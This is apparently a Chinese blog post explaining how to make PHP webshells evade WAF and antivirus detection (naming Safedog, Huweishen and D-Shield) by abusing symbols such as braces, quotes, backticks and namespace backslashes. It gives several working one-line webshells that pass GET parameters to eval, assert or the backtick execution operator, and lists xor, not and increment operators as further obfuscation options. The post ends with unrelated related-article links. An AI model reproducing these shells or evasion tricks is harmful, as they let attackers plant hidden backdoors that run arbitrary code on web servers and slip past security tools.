webshell免杀中符号的妙用

简介: webshell免杀中符号的妙用

前言


提到webshell免杀,方法无外乎对静态特征的变形,编码,或利用语言特性绕过。计算机中有很多符号,它们在编程语言中占据一席之地,这些符号作为运算符号,标识符号或起到特殊含义。本文以PHP为例介绍一些利用符号免杀方法。

免杀


WAF检测


通过对安全狗、护卫神、D盾等常见软WAF的测试,发现WAF查杀主要依赖两种检测方法1.静态检测:通过匹配特征来查找webshell。如危险函数,文件特征码等。2.语法语义检测:通过对语法语义的分析,通过对代码抽丝剥茧实现对危险函数捕捉,例如: 危险函数(可控参数)


括号


圆括号: 在编程中,主要用在表达式、函数参数、指针定义等方面

方括号:一般用于定义数组

花括号: 定义变量处理,字符串变量后面有{ }相当于数组、规定作用域

在变量间接引用中进行定界,避免歧义。例如 ${$my_var[8]}与${$my_var}[8]的区分


${xxx} 括起来的要当成变量处理。

$a{4} 和中括号[]一样都是把某个字符串变量当成数组处理

利用花括号的特性,在双引号对声明变量,并利用圆括号干扰waf对语法的检测

<?php
$_=$_GET['pass'];
$white = "(${eval($_)})";


引号


单引号:被单引号包裹的特殊字符将无意义,内容将作为字符串。

双引号:与单引号类似,但被包裹中的特殊符号将会解析,例如 $ 符号

反引号:执行运算符,在多数语言中可进行执行命令。php中(执行运算符)与shell_exec函数等同

在php语言的特性中,双引号内的变量会被解析。这时$b的值为 assert,可利用php的此特性进行拼接字符或是绕过语法。

$a="s"."e"."r";
$b="as$a".'t';


利用执行运算符执行命令,避免了检测危险函数实现免杀。

function fun($p){  echo `$p`; }
$a=$_GET['x'];
fun($a);

斜线


反斜线:反斜线一般是起到转义字符作用。例如

\"   双引号 "

\\   反斜线 \

\n   换行  

\r   送出

\t   跳位(TAB)

\\$ 表示 $

反斜线 在php中还有一种用法,就是命名空间函数前加“\”反斜线调用命名空间下的函数,如果单独使用,就是调用根命名空间

利用用命名空间干扰函数的特征,\n来干扰对语法的检测


 <?php
$a = $_GET['a'];
$b = "\n";
\assert($b.=$a);
?>


引申


那么是否还有其它符号可以免杀?下面以php为例再介绍几种符号:

^ :(xor)异或运算符

~ :(not)取反运算符

++ :递增运算符

-- :递减运算符


总结


上文简单介绍了一些符号在免杀中的用法,只要摸透了WAF的脾气(查杀原理),绕过的方法也就层出不穷。


相关文章
|
IDE Java 程序员
IDEA创建maven项目过慢,一直卡在resolving dependencies...的解决办法
作为一个从事 Java 开发的程序员,每天离不开ide的帮助。一开始学习java的时候基本都是使用eclipse进行开发, 后来接触了idea,发现是真的香,比eclipse好用太多了,能够大大提升开发的效率。
5557 0
IDEA创建maven项目过慢,一直卡在resolving dependencies...的解决办法
|
缓存 Linux 开发工具
CentOS 7- 配置阿里镜像源
阿里镜像官方地址http://mirrors.aliyun.com/ 1、点击官方提供的相应系统的帮助 :2、查看不同版本的系统操作: 下载源1、安装wget yum install -y wget2、下载CentOS 7的repo文件wget -O /etc/yum.
264808 0
|
关系型数据库 MySQL
Mysql 中日期比较大小的方法有哪些?
在 MySQL 中,可以通过多种方法比较日期的大小,包括使用比较运算符、NOW() 函数、DATEDIFF 函数和 DATE 函数。这些方法可以帮助你筛选出特定日期范围内的记录,确保日期格式一致以避免错误。
421 1
|
数据采集 资源调度 搜索推荐
Flink在实时搜索引擎索引构建中的深度应用与实践
随着数据源规模的扩大和查询请求的增加,如何优化Flink的性能和资源调度成为了一个重要的问题。Flink提供了多种性能优化手段,如并行度调整、状态后端选择、任务链优化等。同时,Flink还支持与YARN、Kubernetes等集群管理系统集成,实现资源的动态调度和弹性伸缩,以适应不同规模的业务需求。
|
机器学习/深度学习 编解码 监控
目标检测实战(六): 使用YOLOv8完成对图像的目标检测任务(从数据准备到训练测试部署的完整流程)
这篇文章详细介绍了如何使用YOLOv8进行目标检测任务,包括环境搭建、数据准备、模型训练、验证测试以及模型转换等完整流程。
22804 59
目标检测实战(六): 使用YOLOv8完成对图像的目标检测任务(从数据准备到训练测试部署的完整流程)
|
12月前
|
Java Linux iOS开发
如何配置 Java 环境变量:设置 JAVA_HOME 和 PATH
本文详细介绍如何在Windows和Linux/macOS系统上配置Java环境变量。
14682 12
|
JavaScript Java 测试技术
基于springboot+vue.js+uniapp的农村土地管理系统附带文章源码部署视频讲解等
基于springboot+vue.js+uniapp的农村土地管理系统附带文章源码部署视频讲解等
157 0
LabVIEW中忽略特定错误
LabVIEW中忽略特定错误
181 0
|
缓存 Java Spring
解决IDEA报错:无法检索应用程序 JMX 服务 URL[Failed to retrieve application JMX service URL]亲测可用
解决IDEA报错:无法检索应用程序 JMX 服务 URL[Failed to retrieve application JMX service URL]亲测可用
3345 1

热门文章

最新文章